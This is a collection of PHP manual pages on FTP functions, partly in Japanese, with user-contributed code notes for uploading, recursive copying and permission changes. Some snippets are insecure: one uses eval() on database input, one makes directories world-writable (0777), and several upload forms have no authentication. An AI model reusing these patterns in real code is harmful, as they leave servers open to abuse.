This took me a few hours to work out. It is based on the code below I've just added a string replace to convert pathname given by Windows to Unix pathname. Hope it saves somebody some time. Enjoy! (Also, delete file function is included:))

<?php
$myFile = $_FILES['file']; // This will make an array out of the file information that was stored.
    $file = $myFile['tmp_name'];  //Converts the array into a new string containing the path name on the server where your file is.
    $myFileName = $_POST['MyFile']; //Retrieve file path and file name
    $myfile_replace = str_replace('\\', '/', $myFileName);    //convert path for use with unix
    $myfile = basename($myfile_replace);    //extract file name from path
    $destination_file = "/".$myfile;  //where you want to throw the file on the webserver (relative to your login dir)
    // connection settings
    $ftp_server = "127.0.0.1";  //address of ftp server (leave out ftp://)
    $ftp_user_name = ""; // Username
    $ftp_user_pass = "";   // Password
    $conn_id = ftp_connect($ftp_server);        // set up basic connection
    // login with username and password, or give invalid user message
    $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass) or die("<h1>You do not have access to this ftp server!</h1>");
    $upload = ftp_put($conn_id, $destination_file, $file, FTP_BINARY);  // upload the file
    if (!$upload) {  // check upload status
        echo "<h2>FTP upload of $myFileName has failed!</h2> <br />";
    }
/*
    // try to delete $file
    if (ftp_delete($conn_id, $destination_file)) {
        echo "$destination_file has been deleted!\n";
    } else {
        echo "Could not delete $destination_file!\n";
    }
*/
ftp_close($conn_id); // close the FTP stream
}
?>
<form name="form" enctype="multipart/form-data" action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST" >
Please choose a file: <input type="file" name="file" accept="text/plain" onChange="MyFile.value=file.value">
<input name="MyFile" type="hidden" id="MyFile" tabindex="99" size="1" />
<input type="submit" name="submit" value="upload" style="vertical-align:middle"/><br/><br/>
</form>
ras "at" fyn {dot} dk 26-Jan-2007 01:11
A function to get a remote file and return it's contents, instead of saving to a local file, was missing - here it is:

function ftp_fetch($ftp_stream, $remote_file) {
    ob_end_flush();
    ob_start();
    $out = fopen('php://output', 'w');
    if (!ftp_fget($ftp_stream, $out, $remote_file, FTP_ASCII)) die('Unable to get file: ' . $remote_file);
    fclose($out);
    $data = ob_get_clean();
    return $data;
}

It works the same as ftp_get(), but instead returns the contents of the remote file - for example:

$ftp = ftp_connect('my.server.com', 21, 60);
ftp_login($ftp, 'username', 'password');
$data = ftp_fetch($ftp, 'path/to/remote.file');
echo $data;

Note, I use it to fetch text-files from a server - if you need to fetch binary files, change FTP_ASCII to FTP_BINARY .. but most likely, getting files to memory is only useful for smaller files, e.g. plain text, xml, etc.
breese at pipetech dot tv 29-Dec-2006 09:02
I fixed the below upload script to work with Windows uploads (and updated some of the syntax). I also added a Javascript "progress indicator" for those of us who don't use PHP 5.2

<?php
if(isset($_POST['start_upload']) && $_FILES['txt_file']['name'] != ""){

    $local_file = $_FILES['txt_file']['tmp_name']; // Defines Name of Local File to be Uploaded

    $destination_file = "/".basename($_FILES['txt_file']['name']);  // Path for File Upload (relative to your login dir)

    // Global Connection Settings
    $ftp_server = "127.0.0.1";      // FTP Server Address (exlucde ftp://)
    $ftp_user_name = "username";     // FTP Server Username
    $ftp_user_pass = "password";      // Password

    // Connect to FTP Server
    $conn_id = ftp_connect($ftp_server);
    // Login to FTP Server
    $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

    // Verify Log In Status
    if ((!$conn_id) || (!$login_result)) {
        echo "FTP connection has failed! <br />";
        echo "Attempted to connect to $ftp_server for user $ftp_user_name";
        exit;
    } else {
        echo "Connected to $ftp_server, for user $ftp_user_name <br />";
    }

    $upload = ftp_put($conn_id, $destination_file, $local_file, FTP_BINARY);  // Upload the File

    // Verify Upload Status
    if (!$upload) {
        echo "<h2>FTP upload of ".$_FILES['txt_file']['name']." has failed!</h2><br /><br />";
    } else {
        echo "Success!<br />" . $_FILES['txt_file']['name'] . " has been uploaded to " . $ftp_server . $destination_file . "!<br /><br />";
    }

    ftp_close($conn_id); // Close the FTP Connection
}
?>

<html>
    <head>
        <script type="text/javascript">
            window.onload = function() {
                document.getElementById("progress").style.visibility = "hidden";
                document.getElementById("prog_text").style.visibility = "hidden";
            }

            function dispProgress() {
                document.getElementById("progress").style.visibility = "visible";
                document.getElementById("prog_text").style.visibility = "visible";
            }

        </script>

    </head>
    <body>
        <form action="<?php echo $_SERVER['PHP_SELF'];?>" method="POST" enctype="multipart/form-data">
            Please choose a file: <input name="txt_file" type="file" size="35" />
            <input type="submit" name="start_upload" value="Upload File" onClick="dispProgress()" />
        </form>

        <!-- Link to progress file: see http://www.ajaxload.info/ for animated gifs -->
        <img id="progress" src="http://www.your.site/images/progress.gif" />
        <p id="prog_text" style="display:inline;"> Upload Started!</p>

    </body>
<html>
cgray at premierconsulting dot com (Chris Gray) 24-Oct-2006 08:58
After looking everywhere for a "FULLY WORKING" ftp uploader script, I finally came up with this, by using a lot of various one's I found on the web. If you find a better way of doing something, please let me know. Thanks, and Enjoy

<?php
  if(isset($_POST['SubmitFile'])){
      $myFile = $_FILES['txt_file']; // This will make an array out of the file information that was stored.
      $file = $myFile['tmp_name'];  //Converts the array into a new string containing the path name on the server where your file is.

      $myFileName = basename($_POST['txt_fileName']); //Retrieve filename out of file path

      $destination_file = "/".$myFileName;  //where you want to throw the file on the webserver (relative to your login dir)

      // connection settings
      $ftp_server = "127.0.0.1";  //address of ftp server.
      $ftp_user_name = "Your UserName"; // Username
      $ftp_user_pass = "Your Password";   // Password

      $conn_id = ftp_connect($ftp_server);        // set up basic connection
      $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass) or die("<h2>You do not have access to this ftp server!</h2>");   // login with username and password, or give invalid user message
      if ((!$conn_id) || (!$login_result)) {  // check connection
             // wont ever hit this, b/c of the die call on ftp_login
             echo "FTP connection has failed! <br />";
             echo "Attempted to connect to $ftp_server for user $ftp_user_name";
             exit;
         } else {
         //    echo "Connected to $ftp_server, for user $ftp_user_name <br />";
      }

      $upload = ftp_put($conn_id, $destination_file, $file, FTP_BINARY);  // upload the file
      if (!$upload) {  // check upload status
         echo "<h2>FTP upload of $myFileName has failed!</h2> <br />";
      } else {
         echo "Uploading $myFileName Complete!<br /><br />";
      }

      ftp_close($conn_id); // close the FTP stream
  }
?>

<html>
  <head>

  </head>
  <body>
        <form enctype="multipart/form-data" action="<?php echo $_SERVER['PHP_SELF'];?>" method="POST">
            Please choose a file: <input name="txt_file" type="file" id="txt_file" tabindex="1" size="35" onChange="txt_fileName.value=txt_file.value" />
            <input name="txt_fileName" type="hidden" id="txt_fileName" tabindex="99" size="1" />

            <input type="submit" name="SubmitFile" value="Upload File" accesskey="ENTER" tabindex="2" />
      </form>
  </body>
<html>
nicklas at programmera dot nu 15-Aug-2006 02:56
I didn't quite like my FTP program since I had to make all the settings all over when i restarted the client, so I made this script for simple ftp uploading, its running as a CLI app.

<?php

    //if STDIN isn't defined, define it
    if (!defined("STDIN"))
    {

        define("STDIN", fopen("php://stdin", "r"));

    }

    echo "FTP file uploader\r\n\r\n";

    echo "Server: ";

    //trim() all the fgets cause it seams to add a \n
    $server = trim(fgets(STDIN));

    echo "Username: ";

    $username = trim(fgets(STDIN));

    echo "Password: ";

    $password = trim(fgets(STDIN));

    $connect = ftp_connect($server);
    $login = ftp_login($connect, $username, $password);

    if ((!$connect) || (!$login))
    {

        exit("Login failed.\r\n");

    }

    echo "Connected\r\n";

    echo "PASV (Y/Any key = Off): ";

    if(trim(fgets(STDIN)) == "Y")
    {

        //enable passive mode
        ftp_pasv($connect, true);

            echo "PASV: On\r\n";

    }
    else
    {

        echo "PASV: Off\r\n";

    }

    $showContent = ftp_nlist($connect, "");

    echo "Listing Contents:\r\n";

        var_dump($showContent);

    echo "File to upload: ";

    $file = trim(fgets(STDIN));

    //escape the uploading process by typing "exit;"
    if ($file == "exit;")
    {

        exit;

    }

    //use "$file, $file" since the file shouldn't be renamed, also if its a binary file change the last argument to FTP_BINARY
    $upload = ftp_put($connect, $file, $file, FTP_ASCII);

    if (!$upload)
    {

        exit("Upload failed.\r\n");

    }
    else
    {

        echo "The file \"" . $file . "\" was successfully uploaded. :)\r\nSize of \"" . $file . "\": " . filesize($file) / 1024 ."kb.\r\n";
        echo "My work is done, bye.\r\n";

    }

    ftp_close($connect);

?>
magic2lantern at mail dot ru 23-Dec-2005 08:19
This is a simple script writen by me which allows the user
run it in console and get tree from FTP Server.

<?php
$argv = $_SERVER["argv"];
$argv = array_slice($argv,1);
if (getenv("HTTP_HOST")) {exit("For bash execution only!");}
if ((empty($argv[0])) || (empty($argv[1]))) {exit("Usage: thisscript.php 10.0.0.10 /games/Arcade/
where 10.0.0.10 is the FTP Server and /games/Arcade is the start path on FTP\n");}

// connect to the ftp server
$connect_id = ftp_connect($argv[0]);
// login on the server
if ($connect_id) { $login_result = ftp_login($connect_id, 'anonymous', 'JustForFun'); }
// check connection
if ((!$connect_id) || (!$login_result)) {
   echo "Unable to connect the remote FTP Server!\n";
   exit;
}
function ftp_get_dir ($ftp_dir) {
global $connect_id;
$ftp_contents = ftp_nlist ($connect_id, $ftp_dir);
    for ($myCounter_for_server_elements = 0; !empty ($ftp_contents[$myCounter_for_server_elements]);
$myCounter_for_server_elements++)
    {
// get elements list in current dir
        echo $argv[0] . $ftp_dir . $ftp_contents[$myCounter_for_server_elements] . "\n";
        ftp_get_dir ($ftp_dir . $ftp_contents[$myCounter_for_server_elements] . '/');
    }
}
ftp_get_dir ($argv[1]);
// close connection
ftp_close($connect_id);
?>
leonardo at rol dot com dot ro 09-Aug-2005 06:51
Here is an example for downloading a remote ftp structure to local server, useful for migrating sites from one server to another, especially when you are upgrading ensim ;)

http://leonardo.rol.ro/ftpleech.txt
dickiedyce at uk dot com 07-May-2005 08:20
It may seem obvious to others, but it had me stumped for nearly an hour! If you can connect to an ftp site but some functions (list, put, get etc) don't work, then try using ftp_pasv and set passive mode on.

<?php

// setup $host and $file variables for your setup before here...

$hostip = gethostbyname($host);
$conn_id = ftp_connect($hostip);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// IMPORTANT!!! turn passive mode on
ftp_pasv ( $conn_id, true );

if ((!$conn_id) || (!$login_result)) {
  echo "FTP connection has failed!";
  echo "Attempted to connect to $host for user $ftp_user_name";
  die;
} else {
  echo "Connected to $host, for user $ftp_user_name<br>";
  echo "Host IP is $hostip<br>";

  // upload a file
  if (ftp_put($conn_id, $remote_file, $file, FTP_ASCII)) {
    echo "successfully uploaded $file<br>";
  } else {
    echo "There was a problem while uploading $file<br>";
  }

  // close the connection
  ftp_close($conn_id);
}
?>
arjen at queek dot nl 15-Jul-2004 07:38
If you prefer a OO-approach to the FTP-functions, you can use this snippet of code (PHP5 only! and does add some overhead). It's just a "start-up", extend/improve as you wish...
You can pass all ftp_* functions to your object and stripping ftp_ of the function name. Plus, you don't have to pass the ftp-resource as the first argument.

For example:
<?php
ftp_delete($ftp, $file);    // Where $ftp is your ftp-resource
?>

Can become:
<?php
$ftp->delete($file);        // Where $ftp is your FTP-object
?>

Code:
<?php

class FTP {

    private $ftp;

    /* public Void __construct(): Constructor */
    public function __construct($host, $port = 21, $timeout = 90) {
        $this->ftp = ftp_connect($host, $port, $timeout);
    }

    /* public Void __destruct(): Destructor */
    public function __destruct() {
        @ftp_close($this->ftp);
    }

    /* public Mixed __call(): Re-route all function calls to the PHP-functions */
    public function __call($function, $arguments) {
        // Prepend the ftp resource to the arguments array
        array_unshift($arguments, $this->ftp);

        // Call the PHP function
        return call_user_func_array('ftp_' . $function, $arguments);
    }

}

?>
Kristy Christie (kristy at isp7 dot net) 15-Jun-2004 11:50
Here's a little function that I created to recurse through a local directory and upload the entire contents to a remote FTP server.

In the example, I'm trying to copy the entire "iwm" directory located at /home/kristy/scripts/iwm to a remote server's /public_html/test/ via FTP.

The only trouble is that for the line "if (!ftp_chdir($ftpc,$ftproot.$srcrela))", which I use to check if the directory already exists on the remote server, spits out a warning about being unable to change to that directory if it doesn't exist.

But an error handler should take care of it.

My thanks to the person who posted the snippet on retrieving the list of files in a directory.

For the version of the script that echo's it's progress as it recurses & uploads, go to: http://pastebin.com/73784

<?php

// --------------------------------------------------------------------
// THE TRIGGER
// --------------------------------------------------------------------

    // set the various variables
    $ftproot = "/public_html/test/";
    $srcroot = "/home/kristy/scripts/";
    $srcrela = "iwm/";

    // connect to the destination FTP & enter appropriate directories both locally and remotely
    $ftpc = ftp_connect("ftp.mydomain.com");
    $ftpr = ftp_login($ftpc,"username","password");

    if ((!$ftpc) || (!$ftpr)) { echo "FTP connection not established!"; die(); }
    if (!chdir($srcroot)) { echo "Could not enter local source root directory."; die(); }
    if (!ftp_chdir($ftpc,$ftproot)) { echo "Could not enter FTP root directory."; die(); }

    // start ftp'ing over the directory recursively
    ftpRec ($srcrela);

    // close the FTP connection
    ftp_close($ftpc);

// --------------------------------------------------------------------
// THE ACTUAL FUNCTION
// --------------------------------------------------------------------
function ftpRec ($srcrela)
{
    global $srcroot;
    global $ftproot;
    global $ftpc;
    global $ftpr;

    // enter the local directory to be recursed through
    chdir($srcroot.$srcrela);

    // check if the directory exists & change to it on the destination
    if (!ftp_chdir($ftpc,$ftproot.$srcrela))
    {
        // remote directory doesn't exist so create & enter it
           ftp_mkdir    ($ftpc,$ftproot.$srcrela);
           ftp_chdir    ($ftpc,$ftproot.$srcrela);
    }

    if ($handle = opendir("."))
    {
       while (false !== ($fil = readdir($handle)))
       {
           if ($fil != "." && $fil != "..")
           {
               // check if it's a file or directory
               if (!is_dir($fil))
               {
                   // it's a file so upload it
                   ftp_put($ftpc, $ftproot.$srcrela.$fil, $fil, FTP_BINARY);
                }
                else
                {
                    // it's a directory so recurse through it
                    if ($fil == "templates")
                    {
                            // I want the script to ignore any directories named "templates"
                            // and therefore, not recurse through them and upload their contents
                    }
                    else
                    {
                        ftpRec ($srcrela.$fil."/");
                        chdir ("../");
                    }
                }
          }
      }
      closedir($handle);
    }
}
?>
postmaster at alishomepage dot com 24-Jan-2004 03:29
I have written an OpenSource ZIP2FTP interface, which actually takes a given ZIP file and decompresses it in the folder on an FTP server you specify...

Therefore it may be quite interesting for you people interested in FTP, its adress is http://zip2ftp.alishomepage.com ; those who directly want the source may visit http://zip2ftp.alishomepage.com/?do=getSource
Vikrant Korde <vakorde at hotmail dot com> 14-Nov-2003 05:35
<?

//If you want to move or replicate the folder hierarchy from your current server to another remote server. Then this will be helpful as this will browse the current server's directory and at the same time it will copy that file in the remote server in the same directory.

//This script will copy all the files from this directory and subdirectory to another remote server via FTP

function rec_copy ($source_path, $destination_path, $con)
{
    ftp_mkdir($con, $destination_path);
    ftp_site($con, 'CHMOD 0777 '.$destination_path);
    ftp_chdir($con,$destination_path);

    if (is_dir($source_path))
    {
        chdir($source_path);
        $handle=opendir('.');
        while (($file = readdir($handle))!==false)
        {
            if (($file != ".") && ($file != ".."))
            {
                if (is_dir($file))
                {
                    // here i am restricting the folder name 'propertyimages' from being copied to remote server. -- VK
                    if($file != "propertyimages")
                    {
                        rec_copy ($source_path."/".$file, $file, $con);
                        chdir($source_path);
                        ftp_cdup($con);
                    }
                }
                if (is_file($file))
                {
                    $fp = fopen($file,"r");
                    // this will convert spaces to '_' so that it will not throw error.  -- VK
                    ftp_fput ($con, str_replace(" ", "_", $file), $fp,FTP_BINARY);
                    ftp_site($con, 'CHMOD 0755 '.str_replace(" ", "_", $file));
                }
            }
        }
        closedir($handle);
    }
}

// make a FTP connection --VK
$con = ftp_connect("69.18.213.131",21);
$login_result = ftp_login($con,"username","password");

// this is the root path for the remote server-- VK
$rootpath = "mainwebsite_html";

// this is the physical path of the source directory. actually u can also use the relative path. -- VK
$sourcepath = realpath("../")."/resdesk";

// this directory name will only change the top most directory and not the inner one -- VK
$destination_dir_name = "resdesk_".$account_id."/";

rec_copy ($sourcepath, $destination_dir_name, $con);
if (function_exists("ftp_close"))
{
    ftp_close($con);
}
?>
postmaster at alishomepage dot com 24-Oct-2003 04:06
Here's another FTP interface over PHP (also uses MySQL)

http://myftp.alishomepage.com

PS: this script will ALSO allow you to download its source... So it becomes interesting for YOU PROGRAMMERS as well :D
NOSPAMkent at ioflux dot NOSPAM dot com 19-Sep-2002 05:05
I think what some other posts were trying to say which may need clarification is that in PHP 4.2.3, ftp_connect("myhost.com") was failing most of the time, except it would work like every few minutes.

The fix is that ftp_connect seems to have a bug resolving addresses. If you do:

$hostip = gethostbyname($host);
$conn_id = ftp_connect($hostip);

It seems to solve the problem.
(Other users referred to an ftpbuf() error... not sure what that is, but this should fix it.)
sven at cartell-network dot de 13-Feb-2002 11:27
connection to a ftp server across proxy

$ftp_server = "proxy"; f.e. 123.456.789.10
$ftp_user_name = "username@ftpserver"; f.e. exampleuk@www.example.uk
$ftp_user_pass = "password";

$conn_id = ftp_connect($ftp_server, 2121);
$login_result = ftp_login( $conn_id, $ftp_user_name, $ftp_user_pass );


アップロードされるファイルのためのスペースを確保する

  • ≪ FTP 関数
  • ftp_append ≫
  • PHP Manual
  • FTP 関数
  • アップロードされるファイルのためのスペースを確保する

ftp_alloc

(PHP 5, PHP 7, PHP 8)

ftp_alloc — アップロードされるファイルのためのスペースを確保する

説明

ftp_alloc ( resource $ftp , int $size , string &$response = null ) : bool

ALLO コマンドを FTP サーバーに送信し、 アップロードされるファイルのためのスペースを確保します。

注意:

多くの FTP サーバーはこのコマンドをサポートしていません。これらのサーバーの中には、 「そのコマンドをサポートしていない」という意味で失敗コード（false） を返すものもあれば 「事前に確保する必要はない」という意味で成功コード（true） を返すものもあります。このような理由から、事前のスペース確保が明示的に 要求されているサーバーに対してのみこの関数を使用するようにするとよいでしょう。

パラメータ

ftp

FTP 接続のリンク ID 。

size

確保したいバイト数。

response

response 変数が指定されていた場合、 サーバーからの応答テキストの内容の参照が格納されます。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 ftp_alloc() の例

<?php

$file = "/home/user/myfile";

// サーバーに接続する
$conn_id = ftp_connect('ftp.example.com');
$login_result = ftp_login($conn_id, 'anonymous', 'user@example.com');

if (ftp_alloc($conn_id, filesize($file), $result)) {
  echo "Space successfully allocated on server.  Sending $file.\n";
  ftp_put($conn_id, '/incoming/myfile', $file, FTP_BINARY);
} else {
  echo "Unable to allocate space on server.  Server said: $result\n";
}

ftp_close($conn_id);

?>

参考

  • ftp_put() - FTP サーバーにファイルをアップロードする
  • ftp_fput() - オープン中のファイルを FTP サーバーにアップロードする

User Contributed Notes

There are no user contributed notes for this page.


ファイルの内容をFTPサーバ上の別のファイルに追加する

  • ≪ ftp_alloc
  • ftp_cdup ≫
  • PHP Manual
  • FTP 関数
  • ファイルの内容をFTPサーバ上の別のファイルに追加する

ftp_append

(PHP 7 >= 7.2.0, PHP 8)

ftp_append — ファイルの内容をFTPサーバ上の別のファイルに追加する

説明

ftp_append ( resource $ftp , string $remote_filename , string $local_filename , int $mode = FTP_BINARY ) : bool

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

ftp

remote_filename

local_filename

mode

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


親ディレクトリに移動する

  • ≪ ftp_append
  • ftp_chdir ≫
  • PHP Manual
  • FTP 関数
  • 親ディレクトリに移動する

ftp_cdup

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_cdup — 親ディレクトリに移動する

説明

ftp_cdup ( resource $ftp ) : bool

親ディレクトリに移動します。

パラメータ

ftp

FTP 接続のリンク ID 。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 ftp_cdup() の例

<?php
// 接続を確立する
$conn_id = ftp_connect($ftp_server);

// ユーザー名とパスワードでログインする
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// html ディレクトリに移動する
ftp_chdir($conn_id, 'html');

echo ftp_pwd($conn_id); // /html

// 親ディレクトリに戻る
if (ftp_cdup($conn_id)) {
  echo "cdup successful\n";
} else {
  echo "cdup not successful\n";
}

echo ftp_pwd($conn_id); // /

ftp_close($conn_id);
?>

参考

  • ftp_chdir() - FTP サーバー上でディレクトリを移動する
  • ftp_pwd() - カレントのディレクトリ名を返す

User Contributed Notes

rowie at free dot fr 11-Mar-2009 02:30
ftp_cdup can only up to the parent and if you want test a directory that is not a child then you can't with ftp_cdup ;)
Anonymous 07-May-2008 09:01
The below example doesn't seem to work on a windows based machine so I use this trick instead

<?php

$aPath = explode('/',ftp_pwd($conn_id));
$sHomeDir = str_repeat('../', count($aPath) - 1);

ftp_chdir($conn_id, $sHomeDir);

?>
tom p 07-Dec-2005 04:01
I used a recursive cdup function until i realised i could navigate to the user's home directory from any location using ~:

<? ftp_chdir($connid, "~"); ?>


FTP サーバー上でディレクトリを移動する

  • ≪ ftp_cdup
  • ftp_chmod ≫
  • PHP Manual
  • FTP 関数
  • FTP サーバー上でディレクトリを移動する

ftp_chdir

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_chdir — FTP サーバー上でディレクトリを移動する

説明

ftp_chdir ( resource $ftp , string $directory ) : bool

カレントディレクトリを、指定した場所に移動します。

パラメータ

ftp

FTP 接続のリンク ID 。

directory

対象となるディレクトリ。

返り値

成功した場合に true を、失敗した場合に false を返します。 ディレクトリの変更に失敗した場合は、PHP は警告を出します。

例

例1 ftp_chdir() の例

<?php

// 接続を確立する
$conn_id = ftp_connect($ftp_server);

// ユーザー名とパスワードでログインする
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// 接続できたか確認する
if ((!$conn_id) || (!$login_result)) {
    die("FTP connection has failed !");
}

echo "Current directory: " . ftp_pwd($conn_id) . "\n";

// somedir に移動する
if (ftp_chdir($conn_id, "somedir")) {
    echo "Current directory is now: " . ftp_pwd($conn_id) . "\n";
} else {
    echo "Couldn't change directory\n";
}

// 接続を閉じる
ftp_close($conn_id);
?>

参考

  • ftp_cdup() - 親ディレクトリに移動する
  • ftp_pwd() - カレントのディレクトリ名を返す

User Contributed Notes

info at swiftyexpress dot com 26-Nov-2008 01:12
Works like the other functions in this page's notes, but this one doesn't make use of a global FTP connection, so it takes parameters like the other functions in the extension

<?php
function ftp_directory_exists($ftp, $dir)
{
    // Get the current working directory
    $origin = ftp_pwd($ftp);

    // Attempt to change directory, suppress errors
    if (@ftp_chdir($ftp, $dir))
    {
        // If the directory exists, set back to origin
        ftp_chdir($ftp, $origin);
        return true;
    }

    // Directory does not exist
    return false;
}
?>

[NOTE BY danbrown AT php DOT net: As the contributor mentions, the original function was noted here by (h3 AT valleyfield DOT net) on 13-JUL-2007.]
neil at 11 out of 10 16-Apr-2008 05:58
Thanks to h3 at valleyfield dot net

Same function with some minor changes and comments added

FTP function checks if a directory exists

<?php
function ftp_is_dir( $dir ) {
    global $ftpcon;
    // get current directory
    $original_directory = ftp_pwd( $ftpcon );
    // test if you can change directory to $dir
    // suppress errors in case $dir is not a file or not a directory
    if ( @ftp_chdir( $ftpcon, $dir ) ) {
        // If it is a directory, then change the directory back to the original directory
        ftp_chdir( $ftpcon, $original_directory );
        return true;
    }
    else {
        return false;
    }
}
?>


FTP 経由でファイルのパーミッションを設定する

  • ≪ ftp_chdir
  • ftp_close ≫
  • PHP Manual
  • FTP 関数
  • FTP 経由でファイルのパーミッションを設定する

ftp_chmod

(PHP 5, PHP 7, PHP 8)

ftp_chmod — FTP 経由でファイルのパーミッションを設定する

説明

ftp_chmod ( resource $ftp , int $permissions , string $filename ) : int|false

指定したリモートファイルのパーミッションを permissions に設定します。

パラメータ

ftp

FTP 接続のリンク ID 。

permissions

新しいパーミッション。8 進数 で指定します。

filename

リモートファイル。

返り値

成功した場合に新しいパーミッションを、エラー時に false を返します。

例

例1 ftp_chmod() の例

<?php
$file = 'public_html/index.php';

// 接続を確立する
$conn_id = ftp_connect($ftp_server);

// ユーザー名とパスワードでログインする
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// $file のパーミッションを 644 に変更する
if (ftp_chmod($conn_id, 0644, $file) !== false) {
 echo "$file chmoded successfully to 644\n";
} else {
 echo "could not chmod $file\n";
}

// 接続を閉じる
ftp_close($conn_id);
?>

参考

  • chmod() - ファイルのモードを変更する

User Contributed Notes

DanN 16-Nov-2009 11:17
Just wanted to contribute a quick note for those who are still experiencing issues with changing the permissions via FTP.

If you are having trouble with PHP recognizing the mode as an integer, you can take the previous poster's method:

$mode = octdec ( str_pad ( $mode, 4, '0', STR_PAD_LEFT ) );

And add the following snippet right after:

$mode = (int) $mode;

This will force PHP to recognize the mode as an integer when you do:

ftp_chmod ( $conn_id, $mode, $path );

These together never seem to fail for me.
Maarten Wolzak 22-Sep-2009 03:15
Using the excellent octdec and decoct functions you can make this easy:

<?php
$mode = "644";
$mode = octdec( str_pad($mode,4,'0',STR_PAD_LEFT) );
ftp_chmod($ftp_stream, $mode, $file);
?>
rperea at vsourceweb dot com 21-Dec-2008 09:26
It took me a while to figure out how to use this function in my situation because I needed the $mode to be passed to this function as a variable that was read from a database. Since the database returns the value as an integer without a leading zero, I could not get the operation to work because adding a leading zero in PHP turns the value into a string.

For example, this does not work in my situation:

<?php
// Assume that this is the value returned from the database.
$mode = 644;

// Now try to chmod using this value.
ftp_chmod($conn_id, $mode, 'test.txt');

// The file now has permissions of 204 and not 644
?>

Adding a leading zero doesn't work either:

<?php
// Assume that this is the value returned from the database.
$mode = 644;

// Now try to chmod using this value.
ftp_chmod($conn_id, '0'.$mode, 'test.txt');

// The file now has permissions of 204 and not 644
?>

I tried many ways to get it to work even converting it from oct to dec using octdec and then back to decoct and nothing worked. This is the only way I was able to get it to work, with an eval statement.

<?php
// Assume that this is the value returned from the database.
$mode = 644;

// Turn the mode into a string
$np = '0'.$mode;

// Now run chmod with the eval'd string parsed as an integer.
ftp_chmod($conn_id, eval("return({$np});"), 'test.txt');

// The file now has permissions of 644
?>

Of course, you will have to make sure that the value of $mode only contains 3 digits. Always do checking on your values before handing it off to eval().
cspiegl at kwask dot de 21-Apr-2008 12:30
Ok,
so if 2 people say that my way is wrong and the other is right, i will take mine back.
I posted it cause for me just the way i used it worked (i don't know why)

AND: i would not say something like: "I would try before post", in my opinion that is realy unfriendly, cause i tryed!
tiefenbrunner at obdev dot at 17-Dec-2007 05:19
The "mode" parameter of the PHP5 ftp_chmod function is an integer value that is supposed to be given as an octal number, like the argument for the "chmod" command line tool.

Thus the sprintf must use the %o formatting character, so that the passed integer value is really represented as an octal number to the CHMOD site command for the FTP server.

So, IMHO, rabin's version is correct (it definitely worked for me).
Josh at jcr dot com 13-Sep-2007 10:13
rabin's code works just fine as a replacement for ftp_chmod().
I would try that before trying cspiegl's solution for pre-php 5 installations.
rabin at rab dot in 23-May-2006 03:21
As mentioned in the note below, the function posted by "hardy add mapscene dot com" works incorrectly if used with an octal mode, the way the php5 function is used.

This function works exactly like the the php5 one:

<?php
if (!function_exists('ftp_chmod')) {
    function ftp_chmod($ftp_stream, $mode, $filename)
    {
        return ftp_site($ftp_stream, sprintf('CHMOD %o %s', $mode, $filename));
    }
}
?>


FTP 接続を閉じる

  • ≪ ftp_chmod
  • ftp_connect ≫
  • PHP Manual
  • FTP 関数
  • FTP 接続を閉じる

ftp_close

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

ftp_close — FTP 接続を閉じる

説明

ftp_close ( resource $ftp ) : bool

ftp_close() は、指定されたリンク ID を閉じて resource を開放します。

注意:

この関数をコールした後は、FTP 接続を利用することはできません。 利用するためには ftp_connect() で新しい接続を 作成しなければなりません。

パラメータ

ftp

FTP 接続のリンク ID 。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 ftp_close() の例

<?php

// 接続を確立する
$conn_id = ftp_connect($ftp_server);

// ユーザー名とパスワードでログインする
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// 現在のディレクトリを表示する
echo ftp_pwd($conn_id); // /

// 接続を閉じる
ftp_close($conn_id);
?>

参考

  • ftp_connect() - FTP 接続をオープンする

User Contributed Notes

There are no user contributed notes for this page.


FTP 接続をオープンする

  • ≪ ftp_close
  • ftp_delete ≫
  • PHP Manual
  • FTP 関数
  • FTP 接続をオープンする

ftp_connect

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_connect — FTP 接続をオープンする

説明

ftp_connect ( string $hostname , int $port = 21 , int $timeout = 90 ) : resource|false

ftp_connect() は、指定した hostname への FTP 接続をオープンします。

パラメータ

hostname

FTP サーバーのアドレス。このパラメータには、最後のスラッシュや最初の ftp:// をつけてはいけません。

port

このパラメータは接続先のポートを指定します。もし指定しなかったり ゼロを指定したりした場合は、デフォルトの FTP ポートである 21 が用いられます。

timeout

このパラメータは、以降のネットワーク操作時のタイムアウトを秒単位で指定します。 指定されなかった場合のデフォルト値は 90 秒です。タイムアウトの変更や 参照は、ftp_set_option() や ftp_get_option() を用いていつでも可能です。

返り値

成功した場合に FTP ストリームを、エラー時に false を返します。

例

例1 ftp_connect() の例

<?php

$ftp_server = "ftp.example.com";

// 接続を確立します。できなければ終了します。
$conn_id = ftp_connect($ftp_server) or die("Couldn't connect to $ftp_server");

?>

参考

  • ftp_close() - FTP 接続を閉じる
  • ftp_ssl_connect() - セキュアな SSL-FTP 接続をオープンする

User Contributed Notes

edouard at e-gaulue dot com 11-Mar-2021 08:03
On server with multiple network card, is there a way to choose the interface to use ?
rafael at gawenda dot es 07-Aug-2020 02:36
Sean's example is wrong, because it includes the protocol match, so result would be php_network_getaddresses: getaddrinfo failed: Name or service not known
sean at boyercentral dot net 24-Mar-2009 05:05
Ever needed to create an FTP connection resource defaulted to a particular dir from a URI? Here's a simple function that will take a URI like ftp://username:password@subdomain.example.com/path1/path2/, and return an FTP connection resource.

<?php
function getFtpConnection($uri)
{
    // Split FTP URI into:
    // $match[0] = ftp://username:password@sld.domain.tld/path1/path2/
    // $match[1] = ftp://
    // $match[2] = username
